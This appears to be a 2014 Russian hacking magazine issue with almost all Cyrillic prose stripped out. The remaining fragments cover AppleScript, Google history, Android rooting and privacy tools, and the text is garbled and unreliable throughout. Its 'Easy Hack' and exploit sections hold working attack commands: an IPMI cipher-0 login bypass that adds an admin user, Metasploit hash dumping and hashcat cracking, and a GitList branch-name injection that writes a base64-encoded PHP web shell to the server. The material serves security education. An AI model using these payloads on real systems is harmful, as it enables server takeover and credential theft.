    - . Google BigQuery -

    (, , ) , .

    Google Fusion Tables , - , JSON CSV. , , - , , .

    Google Domains ( , 2014 ).

    Google Mirror API Google Glass. -.

    Google Prediction (- ). : , churn rate ( ), , - , .

    Google Tasks Gmail . Google Calendar.

    Google URL Shortener .

    YouTube Analytics - YotTube. , - - , . : goo.gl/SwBLhL.

    WWW

    :www.google.com/script/

    start/

    - Google Apps Script:

    goo.gl/yneJWn

    - Google Apps Script:

    goo.gl/qBxVWs

    GitHub- Google Apps -

    :https://github.com/

    google/google-apps-script-samples

    Google Script:

    goo.gl/LDyaS3

    08 /187/ 2014 39

  • OSA - - . , -

    OS X . Apple , - Automator, AppleScript Objective-C, Python .

    OS X PYTHON [email protected]

    Apple, , : AppleScript Editor, Open Dictionary

    File, - , - ( ), Finder iTunes. Open Scripting Architecture (OSA), - . - . .

    OS X . Automator, , OS X - - . AppleScript, .

    AppleScript , , , . - , . AppleScript -. , iTunes , :

    tell application "iTunes" to play

    AppleScript - , , - . , - tell end tell, . , AppleScript , , - , , - .

    OSA, AppleScript, -

    Objective-C ( Swift) Scripting Bridge. , - , . Objective-C , - . Swift, Apple, , , ? , -- .

    AppleScript, do shell script - , - UNIX. AppleScript , osascript.

    SCRIPTING BRIDGE - , Python Ruby. - Mac OS X 10.5 OSA Foundation ScriptingBridge.

    Ro

    be

    rt C

    ou

    se-B

    ake

    r@fi

    ckr

    .co

    m

    08 /187/ 201440 PC ZONE

  • XCode, , -. Python, - iTunes:

    from Foundation import *from ScriptingBridge import *

    iTunes = SBApplication.applicationWithBundleIdentifi er_("com.apple.iTunes")iTunes.playpause()

    , . , Scripting Bridge Python Ruby , - : Objective-C, Objective-C OSA. , AppleScript , . Python iTunes - - Test:

    iTunes = SBApplication.applicationWithBundleIdentifi er_("com.apple.iTunes")p = {'name':'Test'}

    playlist = iTunes.classForScriptingClass_("playlist").alloc().initWithProperties_(p)

    iTunes.sources()[0].playlists().insertObject_atIndex_(playlist, 0)

    alloc() Objective-C. - - AppleScript. : ( ), , , -. Apple Scripting Bridge (bit.ly/1sX7IIw), help(). Python , iTunes, -, help(iTunes), - .

    APPSCRIPT , -. appscript. . , iTunes , AppleScript:

    from appscript import *app['iTunes'].play()

    , - Safari:

    app('Safari').windows[0].document.URL.get()

    , , , , appscript, sample .

    appscript : , - OS X - - . , , - . GitHub (https://github.com/mattneub/appscript).

    OSA, OS X , - , . Services - .

    , , - -, . - - Services , Google, , - . -. ? , XCode Objective-C! -, , , . ThisService (wafflesoftware.net/thisservice/) Python, Perl, Ruby JavaScript ( Node.js).

    , -, Starting Points. - . ( , : , , - ). , , main(), input_text, output_text, .

    , ThisService, Script, ( , -, , , , ). Test Service, , , - , , . Finish Testing and Create Service , - ~/Library/Services - . , , Services , - . .

    - ThisService: -, .

    ThisService .

    , -

    08 /187/ 2014 41

  • , - - ,

    . - : , .

    , - , . Freeware-, - . ( , , - -), - .

    , .

    Windows. - open source. , , , . , , - . , , . - -, . , , - Windows. , , -, -

    , , . - , . . , , Quid prodest (, )

    : , F R E E W A R E ,

    [email protected]

    , , - , . , - 2014 , , 1 : 3.

    , , - - , . , . , - , - ( Windows 8). - Windows 8.1 Pro 2190 9990 .

    - Microsoft Office - , : , -, , , . - , , WordPad ( -) OneNote. - LibreOffice/OpenOffice, , - -, .

    - OfficeOnline, . , - Office 365. - -, , PC, . - . , Microsoft - Office 365 49 .

    - Photoshop. , Adobe. - , , for free.

    , - Photoshop -, . , , . , -, Gimp . - , Gimp Photoshop, .

    Mic

    roso

    ft

    08 /187/ 201442 PC ZONE

  • Microsoft Office 2013 open source LibreOffice

    , Paint.Net. -, - . Paint.Net , , Gimp, .

    Adobe - . , Windows Adobe Photoshop Express, - . - Photoshop Express Editor - Photoshop CC and Lightroom 9,99 .

    , - . , - Lightroom.

    Paint Windows, - Windows, - .

    , . , -, . NOD32, . Avast Microsoft Security Essentials. -, .

    - Acronis True Image, . , - Cobain Backup Duplicati. ,

    , . , .

    , - . Microsoft BizSpark -, - .

    Microsoft , DreamSpark. , - . , , - Visual Studio Pro, Microsoft SQL Server Windows Server.

    . - 20 . 1000 , , - - .

    , - , , .

    , , , -. , -, .

    , open source . - 2.0 - FTP-, .

    Windows , - . - . , - , - Windows, . , ZIP-, . Nero, WinRAR , -, .

    - , Windows 88.1, , , - .

    - - . . , , , .

    , , , - , . -

    08 /187/ 2014 43

  • , ;

    -, -;

    - .

    , - , . , , - , .

    ,

    - - .

    :1. .

    , -, . : - -. , -, . , : Sony PlayStation .

    2. . - , , - .

    3. . - . - , -.

    :

    , -, . MAP , ERROR ;

    , -, -;

    ?

    INFO

    :

    Sony PlayStation

    .

    [email protected]

    08 /187/ 201444

  • . -, , , .

    ? 1996 -. . -: , ; , , ( . research ), . - , FIFA, NHL, Command & Conquer Rise of Nations, Need For Speed, GTA .

    ? 2002 , Crazy House. , 2009 -. - , : , , - , .

    ? . , - , , : The Neverhood . , -, , - . Neverhood , IT- ?

    Freelancer, 2006 , - 2003 .

    ? 1993 , -. 1997 - .

    160 , -, Windows 95, 98, XP, - Microsoft Office .

    ? , - , - .

    - Far Cry 3, Splinter Cell: Blacklist, Assassins Creed IV Black Flag.

    ? , - . Microsoft, Rockstar Games, Ubisoft, 2K Games , . - ?

    AnyKey Entertainment

    ?AnyKey 1994 . , - , , Dune II, , : . - , 1994 Dune II AnyKey Entertainment Labs Co.

    ? , AnyKey , Warcraft II, , , -.

    ?AnyKey , , , . , , Dune II.

    ? 1995 1998 . , - . . The Legend of Kyrandia, , , . .

    ? , - - . - , , , . - . Intel, Motorola, Midway.

    ? : , , - ; , . 1996 Warcraft II: Tides of Darkness, - . ?

    : 2006 Warcraft II .

    -

    INFO

    Neverhood -

    IT- .

    ,

    ; ,

    The Neverhood

    08 /187/ 2014 45

  • : - - . , - , ( ), , - , RPG. DOOM , - , , - Might & Magic, Fallout Anvil of Dawn , My name is Sasha, Comrade Ivanoff is going to Kazakhstan, .

    , , - , , (, , - ). -, - - . , , ! -, , - , - ( ) , , -. : UFO . , -

    .

    Warcraft 2 . . , , !

    Fallout 2 . -, , ( ), .

    2, Taralej & Jabocrack, . , -, giant , -, ? .

    1. ( , - -) - Taralej & Jabocrack, - (15+), . , - - ... C , , , .

    , , - . 2002- Heroes of Might and Magic IV. -, , . , , , (, ;)) . , - , . - , 200 CD...

    DR. , , -, . , , , , .

    GSC Game World

    ?GSC, ( ), 1995 -, . , FIFA 98, Quake III, Postal , .

    ? GSC . : -. , 2004 Ubisoft -, 20 2007 , -, S.T.A.L.K.E.R: Shadow of Chernobyl, 24 2007 ELSPA.

    2010 S.T.A.L.K.E.R. 2, . 2011 .

    ?GSC Game World , -, , . GSC , .

    1993 , .

    ? 1994 , . 2000- -, .

    ? 1 2009 1- -. EA Sports, Activision, Eidos, Konami, Microsoft, Ubisoft.

    ?, - , - , , .

    2000- - .

    GSC, -

    -

    ,

    INFO

    , , , - .

    08 /187/ 201446

  • -

    ? 1993 . 1995 , . - - . - .

    ? 250 , 25 , 2012 . , .

    ? , , , .

    Postal Unlimited Edition 2004 , -, - .

    ?, 1996 , , , . .

    ? , 2005 , 2003-.

    ? , .

    -

    , . 2004 , -

    , , , . , . .

    , .

    : , , , - , . - .

    ? 1998 , , , , - , , .

    ? 2002 - 2000 - 2011 -, .

    ? - .

    , -. , - . , . , , . , , . - , - , . , . , , .

    -

    INFO

    ,

    .

    -

    08 /187/ 2014 47

  • 08 /187/ 201448

  • Google -, - . , Gmail, Chrome, Android - . - , Google .

    C GOOGLE

    [email protected]

    1998 google.com .

    . . Google -

    , AdSense , Street View , Android -, Google. -

    08 /187/ 2014 49

  • . Google , , , , , , .

    , - Google , , . Google , - , .

    , Google Ventures . - , , - . , , , - . .

    , . , . , - , , , : , , ... -, . ?

    - , . , , , - , - Google.

    , 1997 , Google, - : , - . : , , - .

    , , -. , -, , .

    BackRub ( ), - -. BackRub , - , - ( ). ,

    2001

    . - , , , AltaVista Excite.

    PageRank , Google. , - , -, , .

    - google.stanford.edu. 1997- google.com, - . - ( , ). - , : AdSense AdWords, - Google YouTube.

    - -, 2001 Google - . 2004 Google 85 . - IPO - Dont be evil.

    GOOGLE NEWS, 200111 2001 . - Google : , CNN, , , , . , , , -, , -

    Google 1998

    , 11.09.2001

    27 2013 . -

    Google

    20 Gaining Queries

    2001

    1. nostradamus

    2. cnn

    3. world trade center

    4. harry potter

    5. anthrax

    6. windows up

    7. osama bin laden

    8. audiogalaxy

    9. taliban

    10. loft story

    11. afghanistan

    12. nimba

    13. american airlines

    14. american flag

    15. aaliyah

    16. fbi

    17. kazaa

    18. lord of the rings

    19. jennifer lopez

    20. xbox

    Source: Google Inc.

    08 /187/ 201450

  • ; 80% - . 6:51 CNN, !

    Google : - CNN Washington Post. - - . , Google - , - ( 2001 , ). , -, , .

    , New York

    skyline: , - -. , - . : - , , .

    , Yahoo AltaVista, - , . Google , - . , Google . - , 2002-, Google News.

    GMAIL, 2004Gmail , Hotmail. - , , - Hotmail, - . Intel, 23- Google.

    Google - - , : Gmail , - 20% . Caribou .

    Gmail 2001 , - - , - . -

    GMAIL 2001 , -

    08 /187/ 2014 51

  • - AJAX, - JavaScript XML. -.

    , , Google . , , , 24 , ? -, , . 2004 eBay 150 , . - Gmail 2007 , , Beta.

    , Google , , : - 1 2004 , . - Google , Gmail . -, , Google - Google Copernicus Center ( Google) .

    Gmail . 2006 Google . - Friendfeed, - , - .

    ANDROID, 2007 Android? , , , . , -, , Apple. - . , , -. Apple General Magic.

    Magic , , , , - . - , , , - , 1990 ! Magic Cap.

    Danger, - Danger Hiptop. : QWERTY- , - . - Danger - Microsoft, - Android. , - .

    , 2005 Google Android , 2007 Open Handset Alliance (- , Google, HTC, Samsung - ) - , Linux.

    2008 HTC Dream, - Android, ! , . - ( , -) Android - Google Google X.

    GOOGLE CHROME, 2008Google Chrome 2008 , - Safari, Opera Firefox, Internet Explorer, , , . , , . : StatCounter, 2014 Chrome - 43% .

    Chrome - . 2001 Google - , . Sun Microsystems.

    Chrome

    Wave I/O

    GOOGLE CHROME 2008 ,

    SAFARI, OPERA FIREFOX,

    INTERNET EXPLORER

    08 /187/ 201452

  • , Etherpad, , , Wave.

    - : Wave -, - . , Wave -. , Wave, - , Jabber.

    - , Wave - , - . Wave , -. , , , . , , , , Wave, .

    , Wave , - -, . , , - - : , -. - , , - Wave , .

    Wave - , - . - , . , - Google Wave - , - ? , .

    Wave . Apache - , . 2010 Google Facebook, , .

    , Wave Google . 2011 Google+, 2012 Google Glass. Project Loon, - - .

    2004

    , -: . , , : - . , , - .

    , - . Google - Mozilla Firefox. , , - .

    Google , 2004 - , - - . , , - - . 2006 Chrome , - . Google , - , .

    : Google , . Mozilla, . Chrome Mozilla, - , -, Firefox.

    Google - , Chrome Chromium. - , , Opera .

    Chrome . 3 2008 , - . - - 1 , Google Google Books .

    GOOGLE WAVE, 2009 2009 Google I/O - Google Wave, - . , Wave . Wave - Google. ?

    , - Wave. , , . Wave -, .

    Wave . , . , , - , , . Google Docs, , , . - , . - , -. - Wave: , , , - .

    Wave , - Google Maps. Wave

    08 /187/ 2014 53

  • 80

    X-Mobile , root, -.

    , , . ,

    .

    androidstreet.net

    08 /187/ 2014X-Mobile54

  • , - . , - ? ? ?

    , - , , , , recovery - .

    , /, ( -, ) , - . - .

    : , ? , , - , . , - recovery Android.

    , , ( ), , - . , fastboot - (Odin, ).

    : , -, . recovery, .

    1 , -. , -, , , -, .

    , . , - , -. ( ), root (ClockworkMod TWRP), - .

    NAND- . - - (Firefox OS, ).

    TWRP

    Android- Nandroid Manager

    WARNING

    .

    ,

    08 /187/ 2014 80 55

  • 2. . Android , , - . , - , - , . CyanogenMod, Paranoid Android, AOKP, OmniROM MIUI.

    . : - . CyanogenMod, , Nexus 4, Motorola Defy. Defy CyanogenMod 11 Quarx. , CyanogenMod, Quarx . , .

    . . CyanogenMod M (CyanogenMod 11.0 M7, ). . - ( CyanogenMod ) , - .

    : - , . -.

    5 , root, : , - root , /system , /system/xbin su, - root , SuperSU SuperUser, , - - root su.

    . , , -, .

    3 , root, , root, , . . , - , . , - Android ( 1.5) , root .

    , Google play, - , , -, . , - root-.

    4 root root, , . Android - root, root - . - , , , - . , root, - Android, . , - root , .

    root - SuperSU -

    INFO

    Linux ADB Fastboot - Android SDK. Ubuntu: sudo apt-get install android-tools-

    fastboot. Fedora: sudo yum install android-tools.

    WARNING

    90%

    , .

    08 /187/ 2014X-Mobile56

  • 6 root , - root, - . root Universal Unroot .

    , , . Knox, Samsung, Galaxy S4, S5, Note 3 Note 10.1. Knox - Android, - . , , - , . ( eFuse), . , , - . : eFuse (, LG), , - .

    , . -, , - . - , - .

    - , -, , -, , Re-locked, Locked, ( HTC, ). Nexus, -, .

    root , . - -. eFuse ( - ) .

    , - ( , , Knox), -, - , - , .

    , , root - .

    : - : , -, . , - , - Android - .

    , boot-, - - . ( ) - -, - .

    : , ( ), recovery, - (Install zip from sdcard Chooze zip from sdcard) (Backup and restore Restore). .

    : , recovery - . , , - , .

    - - , -

    ,

    08 /187/ 2014 80 57

  • : , recovery , , , , . : fastboot - recovery - . - , fastboot .

    Fastboot , - , recovery - ( Nexus). fastboot , - -. .

    fastboot, (goo.gl/cucyb7) Android SDK. , , - SDK, platform-tools, , () - USB- . recovery .img :

    $ fastboot fl ash recovery .img

    recovery :

    $ fastboot boot .img

    - :

    , . - TWRP Manager, ROM Manager ROM Installer. , recovery, - . - , - recovery .

    , . - , . , , - : Nexus 5 ( ), Galaxy S5, LG G2 Sony Xperia Z2.

    Nexus 5 Nexus - , . - , . , , ADB/fastboot ( Linux ), . :1. ADB Driver Installer : goo.

    gl/cucyb7.2. Android SDK.3.

    Google (goo.gl/yeZOKY).4. , -

    () USB-.

    5. c flash-all.bat (Windows) flash-all.sh (Linux) - .

    6. , Android SDK, platfrom-tools fastboot oem lock .

    , , :

    fastboot fl ash bootloader bootloader- - - .imgfastboot reboot-bootloaderfastboot fl ash radio radio- - - .imgfastboot reboot-bootloaderfastboot fl ash system system.imgfastboot reboot-bootloaderfastboot fl ash userdata userdata.imgfastboot fl ash recovery recovery.imgfastboot fl ash boot boot.imgfastboot erase cachefastboot fl ash cache cache.img

    ROM Manager recovery

    08 /187/ 2014X-Mobile58

  • , root- , . , , . , , , , , - , ? , - Windows .

    Galaxy S5 Galaxy S5 , . - Odin, - . :1. .2. USB-

    Samsung : goo.gl/1rXkox.3. Odin -

    : goo.gl/ac2fc9.4. samfirmware.com, -

    SM-G900F, Russia, - .

    5. , , .

    6. , Odin.

    7. USB-.8. Odin, PDA

    tar.md5 .

    9. Start Odin , - .

    , - , , Knox ( ). - , , .

    LG G2 LG G2 - . , . , , G2 :1. ADB Driver Installer : goo.

    gl/cucyb7.2. (Europe Open 32G

    Europe Open) : goo.gl/0UoCiT.3. LG Mobile Support Tool (goo.gl/

    JbRZqi), FlashTool (goo.gl/NE26IQ).4. , -

    USB-.5. FlashTool UpTestEX.

    exe.6. Select Type 3GQCT, Phone

    Mode DIAG, Select KDZ file , .

    7. CSE Flash .8. Start.9. Ok.10. ,

    .

    . , , Samsung, Rooted, -.

    Sony Xperia Z2 , Sony Xperia Z2. , - . , USB- -.

    :1. ADB Driver Installer : goo.

    gl/cucyb7.2. .3. Flash Tool -

    Sony (goo.gl/OGKBnQ) : goo.gl/RdUu7j.

    4. C:/Flashtool/Firmwares.5.

    .6. USB- -

    Flash Tool.7. Flash Tool. -

    Flashmode, - .

    Odin

    Odin -

    INFO

    Knox root-, : su pm

    disable com.sec.knox.seandroid.

    80 08 /187/ 2014 59

  • androidstreet.net

    WWW

    Chromium Android:

    goo.gl/HBsBam

    Guardian Project -

    Android:guardianproject.info

    WWW

    Blackphone - :

    www.blackphone.ch

    Tor:goo.gl/9XQy5n

    - . ; GPS- GSM-, ; , ; . : ?

    , .

    GSM , - , - 1000 . , .

    - RTOS -, . ,

    - / . Android Google , , , , , , - Google Docs. , .

    Wi-Fi- , ( ).

    , . , open source JavaScript, Tor, MAC-, DuckDuckGo Google Yandex, Dropbox Rsync-, , - , , -, , .

    . , - , , - , . :

    No

    ma

    dic

    La

    ss@

    flic

    ker.

    co

    m

    08 /187/ 2014X-Mobile60

  • vdc cryptfs enablecrypto inplace

    . . , , , - - PIN- .

    F-DROID, TOR F-Droid, Tor - . Google play, , -. , F-Droid , . - F-Droid 1100, , , , -, , Telegram.

    Tor ( Android Orbot), , . - - Orbot.

    F-Droid. f-droid.org - . , Orbot . - DroidWall (goo.gl/dCXXev) ,

    APK- . - iptables DroidWall ( - / ). , Tor . ZIP- (goo.gl/2JK9MQ), , USB- :

    $ ./install-fi rewall.sh

    Linux , - Android SDK, ( - , - USB). :1. , -

    ( ).

    2. DroidWall, - Tor ( Tor).

    3. .4. ,

    Tor , ADB LinPhone. -, captive portal Wi-Fi-, -

    - .

    , - . , - .

    ANDROID CYANOGENMOD, -, - , . - . - - , -. , , CyanogenMod (- Android- ).

    , , root ( , ), - Google play, - ROM Installer CyanogenMod. Google Apps. - .

    CyanogenMod - - CM, . , , . - . :1. NFC -

    .2. PIN-

    .3. .

    , . - - , . CyanogenMod Privacy Guard, - , : - , . , - . - .

    Privacy Guard - , ( ), - , Trebuchet ( ). - Privacy Guard , , ( Privacy Guard ). , - (, - ).

    . , - . , - :

    $ su

    CyanogenMod SELinux, -. SELinux - - , Android - - . Privacy Guard - .

    SELinux - , , . -, adbd, rild , , SELinux . SELinux , - , ( CyanogenMod - ).

    CYANOGENMOD SELINUX

    ,

    08 /187/ 2014 61

  • , LinPhone, - SIP- .

    , DroidWall, - . /data/local/firewall-torify-all.sh, - . , - (Orbot - , - ). , - . Orbot , root; , Orbot - . , Tor. Tor, , .

    - . - , - DroidWall Orbot. DroidWall,

    , -, , Tor.

    Google , - . - , Privacy Guard, -, - . - - , : SELinux root, Privacy Guard - , DroidWall , .

    : - GSM-. , : SELinux, , firmware, - Android, -/ GSM-. , , -, .

    , -, - , - . , , , . -, , . -. . - .

    , . .

    DroidWall Privacy Guard Privacy Guard

    Orbot root, - Android-. , - , DroidWall , .

    -, root, Orbot DroidWall, - . -, Orbot - - - (Wi-Fi Wi-Fi Wi-Fi 3G), - . Linux (- ) - . : , Orbot .

    ROOT- ORBOT

    Google ,

    08 /187/ 2014X-Mobile62

  • http://shop.glc.ru

    : ? -, . - . -, . , -. -, (, ): -, .

    280 !

    6 1680 . 12 3000 .

  • ANDROID ? GOOGLE ?

    androidstreet.net

    Android - Google . , Android , , . - ? !

    08 /187/ 2014X-Mobile64

  • Paranoid Android Android

    , gapps

    OPEN SOURCE ANDROIDGoogle Android - Windows Mobile Symbian. ADP1 (T-Mobile G1) , Linux .

    - , -. - , -. , (- CyanogenMod Paranoid Android).

    , - , , Google , , -, - . Android , . Holo Android 4.0, Project Butter Android 4.1, , ( Android L - ).

    , Android - . Google Android : AOSP, Android, - , Google Apps , AOSP Google. Google Apps (, Gmail, YouTube...), , .

    Gmail, , , , Google Now -, , SMS (, - Hangouts). API, , , . - .

    , AOSP - , . API , - swype, , - , Android 1.5 - . , Android, Android 4.X.

    , Google Apps - , API , - . Google Apps -, - , Google Apps , , Google.

    Android Google Apps - , , -, . , CyanogenMod . , CyanogenMod Google Now - ? . swype -

    CyanogenMod? . Google Home, ? . , -, .

    APACHE LICENSE VERSION 2.0 . Android - , . AOSP : GPL, BSD Apache 2.0. (wpa_supplicant, ), - , ( 90% ).

    , - , - GPL. , BSD Apache, . - -

    gapps Google play

    08 /187/ 2014 65

  • . .

    - ( Apache , , -), Google - . - Android 3.X, ( Google Apps), Android L Preview.

    BSD Apache Google . , -: . - , - . - ( , - Nexus ). , -. , Google , .

    CLOSED DOORS DEVELOPMENT , Google, . Open Source , , , - . , .

    Android . Google. - , , Google , , . , , - OHA, , , , , , - .

    - , Samsung Google - , - . ,

    - , - .

    BINARY BLOBS Android. , - , , - . , - , .

    Android : , , , Wi-Fi- GSM-, - , rild, , OpenGL ES, -, . , Linux, - .

    , . , - / , - Android .

    WWW

    wiki- Replicant:

    replicant.us

    F-Droid, -

    :f-droid.org

    MircoG GitHub:

    github.com/microg

    OpenNet: Replicant

    Samsung

    Galaxy: goo.gl/fLlhDZ

    Google Apps , API

    F-Droid

    -

    08 /187/ 2014X-Mobile66

  • , Android - , . API, - , , .

    , , Android? , - . .

    REPLICANT, , , , , , Replicant, F-Droid, . Android -. , GSM- Samsung Replicant , - (, Replicant ).

    , Replicant? Android, , , Google. CyanogenMod, Google play - F-Droid, . : HTC Dream / HTC Magic, Nexus One, Nexus S, Galaxy S/S2/S3, Galaxy Note, Galaxy Nexus, Galaxy Tab 2, Galaxy Note 2 GTA04.

    , , ( , ), , . - Android 4.2 (CyanogenMod 10.1), - . , Galaxy Nexus Wi-Fi, Bluetooth, NFC, 3D-, - . - firmware, - .

    . . , - , GSM-, RIL, . - ( ).

    Replicant, , , CyanogenMod -. , - - (, - Kickstarter). Replicant , GTA04.

    F-DROID Replicant - F-Droid, . F-Droid 1100 , , Adblock+, ADW.Launcher, AndroidVNC, Apollo, ConnectBot, FBReader, DashClock, Firefox, VLC, Wikipedia .

    , Google play Amazon Appstore, - , - 100%. Android , Linux .

    MICROG , Google? Replicant , , F-Droid Google. (, , , 1Mobile Market) - gapps MicroG - mar-v-in XDA-Developers.

    MicroG . GmsCore, Google play Services, , Google play. Maps API v2, - API Google Maps, , OpenStreetMap ( - ). - NetworkLocationProvider, - IP- ( ), FakeStore, , , Play Store, - Phonesky ( Play Store ).

    , , , Google - . . MicroG , Google , , .

    Android - Google. , , - .

    , Google Android. , - , - , . , , - .

    Firefox OS Mozilla, , .

    Sailfish OS Nokia MeeGo, , .

    Plasma Active KDE ( Linux/UNIX), , - .

    Tizen Intel Samsung, Linux Foundation, , - .

    CyanogenMod , , , , -.

    INFO

    Replicant / Blade Runner ( ),

    .

    INFO

    2011 Google -

    Replicant Google Nexus

    One, , -

    .

    Android ,

    08 /187/ 2014 67

  • GreenDog ,Digital Security

    [email protected],twitter.com/antyurinEASY

    HACK WARNING

    - - . , - , -

    .

    , TLS SNI , , - . - . - , HTTP- Host , , - . , IP- .

    , , . , , - , DNS . , -, , . - : , - , attack surface.

    Host: . - . , - Host , , . .

    - TLS- ( SSL-) - SNI. , SSL IP- . , . , , . , ( ). , TLS, SNI (Server Name Indication).

    SSL ClientHello , -, . - - . - Apache : goo.gl/qWNgwe.

    , . , , SNI ClientHello , . , , - PoC ( ). -, , - ( , HTTP ). , , SPDY HTTP 2 .

    08 /187/ 201468

  • (goo.gl/W0Pkeb), - SNMP () . , community- . , SNMP, .

    WIRESHARK : ( ), -

    Wireshark, . Dummy Headers, .

    Wireshark - . - , (, , ) -. , , , Wireshark : TCP handshake UDP, TCP/IP-.

    - Wireshark , ( OSI), c . , (TCP).

    ? , , , . TLS SNI , Wireshark . .

    (File-Import from Hex Dump) , -, hex , -, offset (. -), . - , .

    (- Python), (goo.gl/7jUXvt) (Didier Stevens). , - hex- 010 Editor. Wireshark

    , SNMP MIBSNMP ( UDP/161) - , - . - :). .

    , , - - , , - . , snmp trap, , - . community string (: ).

    , . , - (). , . , -.

    OID. , 1.3.6.1.2.1.1.3.0. .

    MIB (Management Information Bases). , OID -. MIB , - ( Cisco, , ).

    , MIB ( ), - . SNMP- GetNextRequest, -. , - ( MIB ).

    snmpwalk (goo.gl/r7z4lq). :

    snmpwalk -v 2c -c public 192.168.0.254 .1

    -v SNMP-; -c community string; 192.168.0.254 ; .1 .

    , SNMP - . Metasploit -

    OID SNMP Brocade

    Root

    iso (1)

    org (3)

    dod (6)

    Internet (1)

    directory (1)

    mib-2 (1)

    system (1) interfaces (2) ip (4) cisco (9) microsoft (311)juniperMIB

    (2636)

    mgmt (2) experimental (3) private (4)

    enterprise (1)

    08 /187/ 2014 Easy Hack 69

  • BMC . - - - IPMI. :).

    , , , . , . ( ) . , , , . - ( ) BMC, Baseboard Management Controllers. , ( - ! :)), -. , , - - , . BMC . BMC : - , -, ( , DVD-) , -, . BMC . - , BMC .

    , BMC , , , , , . IP- . , -, BMC ... BMC , . BMC .

    , , , BMC . ? , BMC , . , SSH, IPMI, - , , , - , , . .

    . -, - BMC : HP iLO, Dell DRAC/iDRAC, ASUS iKVM BMC, Oracle/Sun ILOM, Fujitsu iRMC, IBM IMM, Supermicro IPMI. - , , .

    80 ( HTTP), SSL- 443- , Nmap sV sC ( ). IPMI, . .

    ? , , , . , , , . .

    , ? , - . IPMI.

    BMC

    BMC

    BMC, IPMI . 1.5 2.0 2001 2004 -. -.

    1.5 2.0 - ( , ).

    . , IPMI Intelligent Platform Management Interface, , - (. ) - Intel. : 1, 1.5 2.0. ( RS232),

    . - , - , - . -, , . -, , . , Beast- SSL ( ) - .

    , - , ( ). - URL. , - - . , OWASP SecList (goo.gl/JVz5gC). ( ) , - -, - . .

    Southbridge,Super IO

    NIC

    Serial Port Connector

    Super IO

    Switching Logic

    Southbridge, Super IO,

    Switches, LEDs etc.

    IPMB, HW Monitor, Power Supply,

    DIMM, Chipset, PCI Slots etc.

    IPMI Block Diagram

    BMC

    LPC BusIPMI & OEM

    Signals

    SMBusI2C Bus

    SideBand

    Serial Port

    08 /187/ 201470

  • , :

    ipmitool -I lanplus -C 0 -H 192.168.0.10 -U Administrator -P any_password user set name 6 hackeripmitool -I lanplus -C 0 -H 192.168.0.10 -U Administrator -P any_password user set password 6 passwordipmitool -I lanplus -C 0 H 192.168.0.10 -U Administrator -P any_password user priv 6 4ipmitool -I lanplus -C 0 -H 192.168.0.10 -U Administrator -P any_password user enable 6

    . user list ( - 6). (hacker), (password), (4) . -.

    , . . - .

    (HMAC-SHA-1, : goo.gl/uMeOjw), - . -, -, ! : , .

    , -, !

    - MSF:

    use auxiliary/scanner/ipmi/ipmi_dumphashesset RHOSTS 192.168.0.10set OUTPUT_HASHCAT_FILE /home/user/ipmi_hashcat.txtrun

    MSF -- , , , Hashcat . , OUTPUT_HASHCAT_FILE .

    Hashcat:

    hashcat --username -m 7300 ipmi_hashcat.txt -a 0 passwords.txt

    --username ; -m 7300 , IPMI ; -a 0 num_passwords.txt , ,

    .

    ! , BMC- ( , -), . , Supermicro IPMI: /nv/PSBlock /nv/PSStore. , , BMC cipher 0 , .

    , Supermicro IPMI - UPnP 49152, - !

    http://192.168.0.10:49152/PSBlock

    No comments, . , .

    . !

    IPMI RMCP, 623- UDP- ( TCP). Nmap - , IPMI, . Metasploit, .

    use auxiliary/scanner/ipmi/ipmi_version set RHOSTS 192.168.0.1/24run

    , , 2.0 . , ... IPMI 2.0 - 14 - ( - -, ). . .

    - cipher 0 (zero), -. -, : , . WTF?! , . ( , ), . , , . , , .

    . IPMI null-, , .

    , ?-, IPMI cipher 0.

    use auxiliary/scanner/ipmi/ipmi_cipher_zeroset RHOSTS 192.168.0.1/24run

    , . - ipmitool.

    sudo apt-get install ipmitool

    . , , IPMI Kali cipher 0.

    ipmitool -I lanplus -C 0 -H 192.168.0.10 -U Administrator -P any_password user list

    -I lanplus , IPMI 2; - 0 cipher 0, ; -U ( ); -P ; user list .

    , cipher 0, , .

    , (, ):

    ipmitool -I lanplus -H 192.168.0.10 -U '' -P '' user list

    IPMI.

    cipher 0

    PSBlock ()

    08 /187/ 2014 Easy Hack 71

  • , [email protected],

    @dukebarman

    , Yahoo. , - , . SCADA-.

    YAHOO

    CVSSv2: N/A : 11 2014 : zigoo0CVE: N/A

    zigoo0 - Yahoo SVN-. , Subversion. -. SVN- :

    https://android.googlesource.com/platform/external/mp4parser/+/dd9eb897ee7c7b507cbdcf80263bb4b5de6966bf/isoparser/src/main/java/com/coremedia/iso/boxes/apple/.svn/entries

    EXPLOIT , Entries . (. 1).

    https://tw.user.mall.yahoo.com/prostore/.svn/entries

    - . , , . HTML-,

    08 /187/ 201472

  • . 1. Yahoo

    . 2. Yahoo- HTML-

    . 3. - Yahoo-

    , PHP-, . (. 2).

    https://tw.user.mall.yahoo.com/prostore/ywa/ywa_generic_template.html

    Zigoo0 POC- Python , , .

    : ; .

    Yahoo 250 :). , Bug bounty Yahoo Google Yandex, , .

    - - (bit.ly/TZ7gNp). , PHP- , - , , wp-confi g.php.bak. - CMS.

    TARGETS tw.user.mall.yahoo.com.

    SOLUTION .

    - GITLIST 0.4.0

    CVSSv2: N/A : 30 2014 : droneCVE: 2014-4511

    GitList (gitlist.org) Git- . PHP.

    , GitList GitHub -. (bit.ly/1sMk9a0):

    sh: 1: Syntax error: EOF in backquote sustitution

    GitList , , , . , . , , - , .

    , CVE-2014-4511. , , , - .

    EXPLOIT , - GitList, Gitter. Gitter - Git- -- . :

    $hash = $this->getClient()->run($this, "log --pretty=\"%T\" --max-count=1 $branch");```

    Repository.php - Gitter TreeController.php GitList. , $branch -. , , , ( ) .

    , Git - . ref.c (bit.ly/1jn31al). :1. .2. (..).3. ASCII ( ?, [, ], ~,

    ^, :, \).4. /.5. .lock.6. .7. .

    - . , 33- .

    GitList PHP, -. -

    WARNING

    -

    . , -

    , -

    .

    1 2

    3

    08 /187/ 2014 73

  • . GitList Install.md :

    cd /var/www/gitlistmkdir cachechmod 777 cache

    , . - , 777, (/gitlist/cache/my_shell.php). , -.

    :

    git checkout -b "|echo\$IFS\"PD9zeXN0ZW0oJF9SRVFVRVNUWyd4J10pOz8+Cg==\"|base64\$IFS-d>/var/www/gitlist/cache/x"

    PHP-, , , , . *nix- $IFS.

    , : - , . , - , , commit .

    . $branch:

    $blames = $repository->getBlame("$branch -- \"$fi le\"");

    , -, :

    http://localhost/gitlist/my_repo.git/blame/master/""`whoami`

    - , . 4, 5 6. -, - .

    Python, :

